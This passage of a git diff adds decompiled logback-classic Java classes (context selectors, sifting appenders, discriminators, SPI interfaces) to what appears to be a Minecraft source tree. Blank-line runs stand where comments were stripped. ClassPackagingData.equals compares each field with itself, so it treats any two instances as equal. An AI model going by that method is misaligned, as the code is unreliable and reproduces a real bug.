+    return Loader.getResourceBySelfClassLoader(resourceName);
+  }
+  
+  private void configureLoggerContextByURL(LoggerContext context, URL url) {
+    try {
+      JoranConfigurator configurator = new JoranConfigurator();
+      context.reset();
+      configurator.setContext(context);
+      configurator.doConfigure(url);
+    }
+    catch (JoranException e) {}
+    StatusPrinter.printInCaseOfErrorsOrWarnings(context);
+  }
+  
+  public List<String> getContextNames() {
+    List<String> list = new ArrayList();
+    list.addAll(synchronizedContextMap.keySet());
+    return list;
+  }
+  
+  public LoggerContext getLoggerContext(String name) {
+    return (LoggerContext)synchronizedContextMap.get(name);
+  }
+  
+
+
+
+
+  public int getCount()
+  {
+    return synchronizedContextMap.size();
+  }
+  
+
+
+
+
+
+
+
+  public void setLocalContext(LoggerContext context)
+  {
+    threadLocal.set(context);
+  }
+  
+  public void removeLocalContext() {
+    threadLocal.remove();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/selector/ContextSelector.java b/src/minecraft/ch/qos/logback/classic/selector/ContextSelector.java
new file mode 100644
index 0000000..659d284
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/selector/ContextSelector.java
@@ -0,0 +1,17 @@
+package ch.qos.logback.classic.selector;
+
+import ch.qos.logback.classic.LoggerContext;
+import java.util.List;
+
+public abstract interface ContextSelector
+{
+  public abstract LoggerContext getLoggerContext();
+  
+  public abstract LoggerContext getLoggerContext(String paramString);
+  
+  public abstract LoggerContext getDefaultLoggerContext();
+  
+  public abstract LoggerContext detachLoggerContext(String paramString);
+  
+  public abstract List<String> getContextNames();
+}
diff --git a/src/minecraft/ch/qos/logback/classic/selector/DefaultContextSelector.java b/src/minecraft/ch/qos/logback/classic/selector/DefaultContextSelector.java
new file mode 100644
index 0000000..5937dc2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/selector/DefaultContextSelector.java
@@ -0,0 +1,51 @@
+package ch.qos.logback.classic.selector;
+
+import ch.qos.logback.classic.LoggerContext;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultContextSelector
+  implements ContextSelector
+{
+  private LoggerContext defaultLoggerContext;
+  
+  public DefaultContextSelector(LoggerContext context)
+  {
+    defaultLoggerContext = context;
+  }
+  
+  public LoggerContext getLoggerContext() {
+    return getDefaultLoggerContext();
+  }
+  
+  public LoggerContext getDefaultLoggerContext() {
+    return defaultLoggerContext;
+  }
+  
+  public LoggerContext detachLoggerContext(String loggerContextName) {
+    return defaultLoggerContext;
+  }
+  
+  public List<String> getContextNames() {
+    return Arrays.asList(new String[] { defaultLoggerContext.getName() });
+  }
+  
+  public LoggerContext getLoggerContext(String name) {
+    if (defaultLoggerContext.getName().equals(name)) {
+      return defaultLoggerContext;
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/selector/servlet/ContextDetachingSCL.java b/src/minecraft/ch/qos/logback/classic/selector/servlet/ContextDetachingSCL.java
new file mode 100644
index 0000000..5f840da
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/selector/servlet/ContextDetachingSCL.java
@@ -0,0 +1,63 @@
+package ch.qos.logback.classic.selector.servlet;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.selector.ContextSelector;
+import ch.qos.logback.classic.util.ContextSelectorStaticBinder;
+import ch.qos.logback.classic.util.JNDIUtil;
+import java.io.PrintStream;
+import javax.naming.Context;
+import javax.naming.NamingException;
+import javax.servlet.ServletContextEvent;
+import javax.servlet.ServletContextListener;
+import org.slf4j.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextDetachingSCL
+  implements ServletContextListener
+{
+  public ContextDetachingSCL() {}
+  
+  public void contextDestroyed(ServletContextEvent servletContextEvent)
+  {
+    String loggerContextName = null;
+    try
+    {
+      Context ctx = JNDIUtil.getInitialContext();
+      loggerContextName = JNDIUtil.lookup(ctx, "java:comp/env/logback/context-name");
+    }
+    catch (NamingException ne) {}
+    
+    if (loggerContextName != null) {
+      System.out.println("About to detach context named " + loggerContextName);
+      
+      ContextSelector selector = ContextSelectorStaticBinder.getSingleton().getContextSelector();
+      if (selector == null) {
+        System.out.println("Selector is null, cannot detach context. Skipping.");
+        return;
+      }
+      LoggerContext context = selector.getLoggerContext(loggerContextName);
+      if (context != null) {
+        Logger logger = context.getLogger("ROOT");
+        logger.warn("Stopping logger context " + loggerContextName);
+        selector.detachLoggerContext(loggerContextName);
+        
+        context.stop();
+      } else {
+        System.out.println("No context named " + loggerContextName + " was found.");
+      }
+    }
+  }
+  
+  public void contextInitialized(ServletContextEvent arg0) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/selector/servlet/LoggerContextFilter.java b/src/minecraft/ch/qos/logback/classic/selector/servlet/LoggerContextFilter.java
new file mode 100644
index 0000000..14e9d50
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/selector/servlet/LoggerContextFilter.java
@@ -0,0 +1,81 @@
+package ch.qos.logback.classic.selector.servlet;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.selector.ContextJNDISelector;
+import ch.qos.logback.classic.selector.ContextSelector;
+import ch.qos.logback.classic.util.ContextSelectorStaticBinder;
+import java.io.IOException;
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerContextFilter
+  implements Filter
+{
+  public LoggerContextFilter() {}
+  
+  public void destroy() {}
+  
+  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+    throws IOException, ServletException
+  {
+    LoggerContext lc = (LoggerContext)LoggerFactory.getILoggerFactory();
+    ContextSelector selector = ContextSelectorStaticBinder.getSingleton().getContextSelector();
+    ContextJNDISelector sel = null;
+    
+    if ((selector instanceof ContextJNDISelector)) {
+      sel = (ContextJNDISelector)selector;
+      sel.setLocalContext(lc);
+    }
+    try
+    {
+      chain.doFilter(request, response);
+    } finally {
+      if (sel != null) {
+        sel.removeLocalContext();
+      }
+    }
+  }
+  
+  public void init(FilterConfig arg0)
+    throws ServletException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/AppenderFactoryUsingJoran.java b/src/minecraft/ch/qos/logback/classic/sift/AppenderFactoryUsingJoran.java
new file mode 100644
index 0000000..ddd4255
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/AppenderFactoryUsingJoran.java
@@ -0,0 +1,37 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.sift.AbstractAppenderFactoryUsingJoran;
+import ch.qos.logback.core.sift.SiftingJoranConfiguratorBase;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AppenderFactoryUsingJoran
+  extends AbstractAppenderFactoryUsingJoran<ILoggingEvent>
+{
+  AppenderFactoryUsingJoran(List<SaxEvent> eventList, String key, Map<String, String> parentPropertyMap)
+  {
+    super(eventList, key, parentPropertyMap);
+  }
+  
+  public SiftingJoranConfiguratorBase<ILoggingEvent> getSiftingJoranConfigurator(String discriminatingValue) {
+    return new SiftingJoranConfigurator(key, discriminatingValue, parentPropertyMap);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/ContextBasedDiscriminator.java b/src/minecraft/ch/qos/logback/classic/sift/ContextBasedDiscriminator.java
new file mode 100644
index 0000000..e0a1704
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/ContextBasedDiscriminator.java
@@ -0,0 +1,73 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+import ch.qos.logback.core.sift.AbstractDiscriminator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextBasedDiscriminator
+  extends AbstractDiscriminator<ILoggingEvent>
+{
+  private static final String KEY = "contextName";
+  private String defaultValue;
+  
+  public ContextBasedDiscriminator() {}
+  
+  public String getDiscriminatingValue(ILoggingEvent event)
+  {
+    String contextName = event.getLoggerContextVO().getName();
+    
+    if (contextName == null) {
+      return defaultValue;
+    }
+    return contextName;
+  }
+  
+  public String getKey()
+  {
+    return "contextName";
+  }
+  
+  public void setKey(String key) {
+    throw new UnsupportedOperationException("Key cannot be set. Using fixed key contextName");
+  }
+  
+
+
+
+
+  public String getDefaultValue()
+  {
+    return defaultValue;
+  }
+  
+
+
+
+
+
+  public void setDefaultValue(String defaultValue)
+  {
+    this.defaultValue = defaultValue;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/JNDIBasedContextDiscriminator.java b/src/minecraft/ch/qos/logback/classic/sift/JNDIBasedContextDiscriminator.java
new file mode 100644
index 0000000..e9946d5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/JNDIBasedContextDiscriminator.java
@@ -0,0 +1,82 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.selector.ContextSelector;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.util.ContextSelectorStaticBinder;
+import ch.qos.logback.core.sift.AbstractDiscriminator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JNDIBasedContextDiscriminator
+  extends AbstractDiscriminator<ILoggingEvent>
+{
+  private static final String KEY = "contextName";
+  private String defaultValue;
+  
+  public JNDIBasedContextDiscriminator() {}
+  
+  public String getDiscriminatingValue(ILoggingEvent event)
+  {
+    ContextSelector selector = ContextSelectorStaticBinder.getSingleton().getContextSelector();
+    
+
+    if (selector == null) {
+      return defaultValue;
+    }
+    
+    LoggerContext lc = selector.getLoggerContext();
+    if (lc == null) {
+      return defaultValue;
+    }
+    
+    return lc.getName();
+  }
+  
+  public String getKey() {
+    return "contextName";
+  }
+  
+  public void setKey(String key) {
+    throw new UnsupportedOperationException("Key cannot be set. Using fixed key contextName");
+  }
+  
+
+
+
+
+  public String getDefaultValue()
+  {
+    return defaultValue;
+  }
+  
+
+
+
+
+
+  public void setDefaultValue(String defaultValue)
+  {
+    this.defaultValue = defaultValue;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/MDCBasedDiscriminator.java b/src/minecraft/ch/qos/logback/classic/sift/MDCBasedDiscriminator.java
new file mode 100644
index 0000000..6a0a8ff
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/MDCBasedDiscriminator.java
@@ -0,0 +1,99 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.sift.AbstractDiscriminator;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDCBasedDiscriminator
+  extends AbstractDiscriminator<ILoggingEvent>
+{
+  private String key;
+  private String defaultValue;
+  
+  public MDCBasedDiscriminator() {}
+  
+  public String getDiscriminatingValue(ILoggingEvent event)
+  {
+    Map<String, String> mdcMap = event.getMDCPropertyMap();
+    if (mdcMap == null) {
+      return defaultValue;
+    }
+    String mdcValue = (String)mdcMap.get(key);
+    if (mdcValue == null) {
+      return defaultValue;
+    }
+    return mdcValue;
+  }
+  
+
+  public void start()
+  {
+    int errors = 0;
+    if (OptionHelper.isEmpty(key)) {
+      errors++;
+      addError("The \"Key\" property must be set");
+    }
+    if (OptionHelper.isEmpty(defaultValue)) {
+      errors++;
+      addError("The \"DefaultValue\" property must be set");
+    }
+    if (errors == 0) {
+      started = true;
+    }
+  }
+  
+  public String getKey() {
+    return key;
+  }
+  
+  public void setKey(String key) {
+    this.key = key;
+  }
+  
+
+
+
+  public String getDefaultValue()
+  {
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setDefaultValue(String defaultValue)
+  {
+    this.defaultValue = defaultValue;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/SiftAction.java b/src/minecraft/ch/qos/logback/classic/sift/SiftAction.java
new file mode 100644
index 0000000..bc3c893
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/SiftAction.java
@@ -0,0 +1,58 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.event.InPlayListener;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+public class SiftAction
+  extends Action
+  implements InPlayListener
+{
+  List<SaxEvent> seList;
+  
+  public SiftAction() {}
+  
+  public void begin(InterpretationContext ic, String name, Attributes attributes)
+    throws ActionException
+  {
+    seList = new ArrayList();
+    ic.addInPlayListener(this);
+  }
+  
+  public void end(InterpretationContext ic, String name) throws ActionException
+  {
+    ic.removeInPlayListener(this);
+    Object o = ic.peekObject();
+    if ((o instanceof SiftingAppender)) {
+      SiftingAppender sa = (SiftingAppender)o;
+      Map<String, String> propertyMap = ic.getCopyOfPropertyMap();
+      AppenderFactoryUsingJoran appenderFactory = new AppenderFactoryUsingJoran(seList, sa.getDiscriminatorKey(), propertyMap);
+      
+      sa.setAppenderFactory(appenderFactory);
+    }
+  }
+  
+  public void inPlay(SaxEvent event) {
+    seList.add(event);
+  }
+  
+  public List<SaxEvent> getSeList() {
+    return seList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/SiftingAppender.java b/src/minecraft/ch/qos/logback/classic/sift/SiftingAppender.java
new file mode 100644
index 0000000..d8fb071
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/SiftingAppender.java
@@ -0,0 +1,54 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.classic.ClassicConstants;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.joran.spi.DefaultClass;
+import ch.qos.logback.core.sift.Discriminator;
+import ch.qos.logback.core.sift.SiftingAppenderBase;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SiftingAppender
+  extends SiftingAppenderBase<ILoggingEvent>
+{
+  public SiftingAppender() {}
+  
+  protected long getTimestamp(ILoggingEvent event)
+  {
+    return event.getTimeStamp();
+  }
+  
+
+  @DefaultClass(MDCBasedDiscriminator.class)
+  public void setDiscriminator(Discriminator<ILoggingEvent> discriminator)
+  {
+    super.setDiscriminator(discriminator);
+  }
+  
+  protected boolean eventMarksEndOfLife(ILoggingEvent event) {
+    Marker marker = event.getMarker();
+    if (marker == null) {
+      return false;
+    }
+    return marker.contains(ClassicConstants.FINALIZE_SESSION_MARKER);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/sift/SiftingJoranConfigurator.java b/src/minecraft/ch/qos/logback/classic/sift/SiftingJoranConfigurator.java
new file mode 100644
index 0000000..ae8a180
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/sift/SiftingJoranConfigurator.java
@@ -0,0 +1,79 @@
+package ch.qos.logback.classic.sift;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.util.DefaultNestedComponentRules;
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.joran.action.AppenderAction;
+import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry;
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.ElementSelector;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.joran.spi.RuleStore;
+import ch.qos.logback.core.sift.SiftingJoranConfiguratorBase;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+public class SiftingJoranConfigurator
+  extends SiftingJoranConfiguratorBase<ILoggingEvent>
+{
+  SiftingJoranConfigurator(String key, String value, Map<String, String> parentPropertyMap)
+  {
+    super(key, value, parentPropertyMap);
+  }
+  
+  protected ElementPath initialElementPath()
+  {
+    return new ElementPath("configuration");
+  }
+  
+  protected void addInstanceRules(RuleStore rs)
+  {
+    super.addInstanceRules(rs);
+    rs.addRule(new ElementSelector("configuration/appender"), new AppenderAction());
+  }
+  
+
+
+  protected void addDefaultNestedComponentRegistryRules(DefaultNestedComponentRegistry registry)
+  {
+    DefaultNestedComponentRules.addDefaultNestedComponentRegistryRules(registry);
+  }
+  
+  protected void buildInterpreter()
+  {
+    super.buildInterpreter();
+    Map<String, Object> omap = interpreter.getInterpretationContext().getObjectMap();
+    omap.put("APPENDER_BAG", new HashMap());
+    omap.put("FILTER_CHAIN_BAG", new HashMap());
+    Map<String, String> propertiesMap = new HashMap();
+    propertiesMap.putAll(parentPropertyMap);
+    propertiesMap.put(key, value);
+    interpreter.setInterpretationContextPropertiesMap(propertiesMap);
+  }
+  
+  public Appender<ILoggingEvent> getAppender()
+  {
+    Map<String, Object> omap = interpreter.getInterpretationContext().getObjectMap();
+    HashMap appenderMap = (HashMap)omap.get("APPENDER_BAG");
+    oneAndOnlyOneCheck(appenderMap);
+    Collection values = appenderMap.values();
+    if (values.size() == 0) {
+      return null;
+    }
+    return (Appender)values.iterator().next();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/CallerData.java b/src/minecraft/ch/qos/logback/classic/spi/CallerData.java
new file mode 100644
index 0000000..724ab85
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/CallerData.java
@@ -0,0 +1,130 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.core.CoreConstants;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CallerData
+{
+  public static final String NA = "?";
+  private static final String LOG4J_CATEGORY = "org.apache.log4j.Category";
+  private static final String SLF4J_BOUNDARY = "org.slf4j.Logger";
+  public static final int LINE_NA = -1;
+  public static final String CALLER_DATA_NA = "?#?:?" + CoreConstants.LINE_SEPARATOR;
+  
+
+
+
+  public static final StackTraceElement[] EMPTY_CALLER_DATA_ARRAY = new StackTraceElement[0];
+  
+
+
+  public CallerData() {}
+  
+
+
+  public static StackTraceElement[] extract(Throwable t, String fqnOfInvokingClass, int maxDepth, List<String> frameworkPackageList)
+  {
+    if (t == null) {
+      return null;
+    }
+    
+    StackTraceElement[] steArray = t.getStackTrace();
+    
+
+    int found = -1;
+    for (int i = 0; i < steArray.length; i++) {
+      if (isInFrameworkSpace(steArray[i].getClassName(), fqnOfInvokingClass, frameworkPackageList))
+      {
+
+        found = i + 1;
+      } else {
+        if (found != -1) {
+          break;
+        }
+      }
+    }
+    
+
+    if (found == -1) {
+      return EMPTY_CALLER_DATA_ARRAY;
+    }
+    
+    int availableDepth = steArray.length - found;
+    int desiredDepth = maxDepth < availableDepth ? maxDepth : availableDepth;
+    
+    StackTraceElement[] callerDataArray = new StackTraceElement[desiredDepth];
+    for (int i = 0; i < desiredDepth; i++) {
+      callerDataArray[i] = steArray[(found + i)];
+    }
+    return callerDataArray;
+  }
+  
+
+
+  static boolean isInFrameworkSpace(String currentClass, String fqnOfInvokingClass, List<String> frameworkPackageList)
+  {
+    if ((currentClass.equals(fqnOfInvokingClass)) || (currentClass.equals("org.apache.log4j.Category")) || (currentClass.startsWith("org.slf4j.Logger")) || (isInFrameworkSpaceList(currentClass, frameworkPackageList)))
+    {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+  private static boolean isInFrameworkSpaceList(String currentClass, List<String> frameworkPackageList)
+  {
+    if (frameworkPackageList == null) {
+      return false;
+    }
+    for (String s : frameworkPackageList) {
+      if (currentClass.startsWith(s))
+        return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  public static StackTraceElement naInstance()
+  {
+    return new StackTraceElement("?", "?", "?", -1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/ClassPackagingData.java b/src/minecraft/ch/qos/logback/classic/spi/ClassPackagingData.java
new file mode 100644
index 0000000..bcf1fd9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/ClassPackagingData.java
@@ -0,0 +1,80 @@
+package ch.qos.logback.classic.spi;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ClassPackagingData
+  implements Serializable
+{
+  private static final long serialVersionUID = -804643281218337001L;
+  final String codeLocation;
+  final String version;
+  private final boolean exact;
+  
+  public ClassPackagingData(String codeLocation, String version)
+  {
+    this.codeLocation = codeLocation;
+    this.version = version;
+    exact = true;
+  }
+  
+  public ClassPackagingData(String classLocation, String version, boolean exact) {
+    codeLocation = classLocation;
+    this.version = version;
+    this.exact = exact;
+  }
+  
+  public String getCodeLocation() {
+    return codeLocation;
+  }
+  
+  public String getVersion() {
+    return version;
+  }
+  
+  public boolean isExact() {
+    return exact;
+  }
+  
+  public int hashCode()
+  {
+    int PRIME = 31;
+    int result = 1;
+    result = 31 * result + (codeLocation == null ? 0 : codeLocation.hashCode());
+    return result;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (getClass() != obj.getClass())
+      return false;
+    ClassPackagingData other = (ClassPackagingData)obj;
+    if (codeLocation == null) {
+      if (codeLocation != null)
+        return false;
+    } else if (!codeLocation.equals(codeLocation))
+      return false;
+    if (exact != exact)
+      return false;
+    if (version == null) {
+      if (version != null)
+        return false;
+    } else if (!version.equals(version))
+      return false;
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/Configurator.java b/src/minecraft/ch/qos/logback/classic/spi/Configurator.java
new file mode 100644
index 0000000..d5d4043
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/Configurator.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.spi.ContextAware;
+
+public abstract interface Configurator
+  extends ContextAware
+{
+  public abstract void configure(LoggerContext paramLoggerContext);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/EventArgUtil.java b/src/minecraft/ch/qos/logback/classic/spi/EventArgUtil.java
new file mode 100644
index 0000000..3b2e5b4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/EventArgUtil.java
@@ -0,0 +1,54 @@
+package ch.qos.logback.classic.spi;
+
+
+
+
+
+
+
+public class EventArgUtil
+{
+  public EventArgUtil() {}
+  
+
+
+
+
+
+  public static final Throwable extractThrowable(Object[] argArray)
+  {
+    if ((argArray == null) || (argArray.length == 0)) {
+      return null;
+    }
+    
+    Object lastEntry = argArray[(argArray.length - 1)];
+    if ((lastEntry instanceof Throwable)) {
+      return (Throwable)lastEntry;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  public static Object[] trimmedCopy(Object[] argArray)
+  {
+    if ((argArray == null) || (argArray.length == 0)) {
+      throw new IllegalStateException("non-sensical empty or null argument array");
+    }
+    int trimemdLen = argArray.length - 1;
+    Object[] trimmed = new Object[trimemdLen];
+    System.arraycopy(argArray, 0, trimmed, 0, trimemdLen);
+    return trimmed;
+  }
+  
+  public static Object[] arrangeArguments(Object[] argArray) {
+    return argArray;
+  }
+  
+  public static boolean successfulExtraction(Throwable throwable) {
+    return throwable != null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/ILoggingEvent.java b/src/minecraft/ch/qos/logback/classic/spi/ILoggingEvent.java
new file mode 100644
index 0000000..1bfcc0d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/ILoggingEvent.java
@@ -0,0 +1,43 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.core.spi.DeferredProcessingAware;
+import java.util.Map;
+import org.slf4j.Marker;
+
+public abstract interface ILoggingEvent
+  extends DeferredProcessingAware
+{
+  public abstract String getThreadName();
+  
+  public abstract Level getLevel();
+  
+  public abstract String getMessage();
+  
+  public abstract Object[] getArgumentArray();
+  
+  public abstract String getFormattedMessage();
+  
+  public abstract String getLoggerName();
+  
+  public abstract LoggerContextVO getLoggerContextVO();
+  
+  public abstract IThrowableProxy getThrowableProxy();
+  
+  public abstract StackTraceElement[] getCallerData();
+  
+  public abstract boolean hasCallerData();
+  
+  public abstract Marker getMarker();
+  
+  public abstract Map<String, String> getMDCPropertyMap();
+  
+  /**
+   * @deprecated
+   */
+  public abstract Map<String, String> getMdc();
+  
+  public abstract long getTimeStamp();
+  
+  public abstract void prepareForDeferredProcessing();
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/IThrowableProxy.java b/src/minecraft/ch/qos/logback/classic/spi/IThrowableProxy.java
new file mode 100644
index 0000000..637aea8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/IThrowableProxy.java
@@ -0,0 +1,16 @@
+package ch.qos.logback.classic.spi;
+
+public abstract interface IThrowableProxy
+{
+  public abstract String getMessage();
+  
+  public abstract String getClassName();
+  
+  public abstract StackTraceElementProxy[] getStackTraceElementProxyArray();
+  
+  public abstract int getCommonFrames();
+  
+  public abstract IThrowableProxy getCause();
+  
+  public abstract IThrowableProxy[] getSuppressed();
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggerComparator.java b/src/minecraft/ch/qos/logback/classic/spi/LoggerComparator.java
new file mode 100644
index 0000000..08245c5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggerComparator.java
@@ -0,0 +1,34 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.Logger;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerComparator
+  implements Comparator<Logger>
+{
+  public LoggerComparator() {}
+  
+  public int compare(Logger l1, Logger l2)
+  {
+    if (l1.getName().equals(l2.getName())) {
+      return 0;
+    }
+    if (l1.getName().equals("ROOT")) {
+      return -1;
+    }
+    if (l2.getName().equals("ROOT")) {
+      return 1;
+    }
+    return l1.getName().compareTo(l2.getName());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggerContextAware.java b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextAware.java
new file mode 100644
index 0000000..26756f6
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextAware.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.spi.ContextAware;
+
+public abstract interface LoggerContextAware
+  extends ContextAware
+{
+  public abstract void setLoggerContext(LoggerContext paramLoggerContext);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggerContextAwareBase.java b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextAwareBase.java
new file mode 100644
index 0000000..5a3140b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextAwareBase.java
@@ -0,0 +1,49 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerContextAwareBase
+  extends ContextAwareBase
+  implements LoggerContextAware
+{
+  public LoggerContextAwareBase() {}
+  
+  public void setLoggerContext(LoggerContext context)
+  {
+    super.setContext(context);
+  }
+  
+
+  public void setContext(Context context)
+  {
+    if (((context instanceof LoggerContext)) || (context == null)) {
+      super.setContext(context);
+    } else {
+      throw new IllegalArgumentException("LoggerContextAwareBase only accepts contexts of type c.l.classic.LoggerContext");
+    }
+  }
+  
+
+
+
+
+  public LoggerContext getLoggerContext()
+  {
+    return (LoggerContext)context;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggerContextListener.java b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextListener.java
new file mode 100644
index 0000000..a4acef2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextListener.java
@@ -0,0 +1,18 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+
+public abstract interface LoggerContextListener
+{
+  public abstract boolean isResetResistant();
+  
+  public abstract void onStart(LoggerContext paramLoggerContext);
+  
+  public abstract void onReset(LoggerContext paramLoggerContext);
+  
+  public abstract void onStop(LoggerContext paramLoggerContext);
+  
+  public abstract void onLevelChange(Logger paramLogger, Level paramLevel);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggerContextVO.java b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextVO.java
new file mode 100644
index 0000000..58c5ae2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggerContextVO.java
@@ -0,0 +1,99 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.LoggerContext;
+import java.io.Serializable;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerContextVO
+  implements Serializable
+{
+  private static final long serialVersionUID = 5488023392483144387L;
+  final String name;
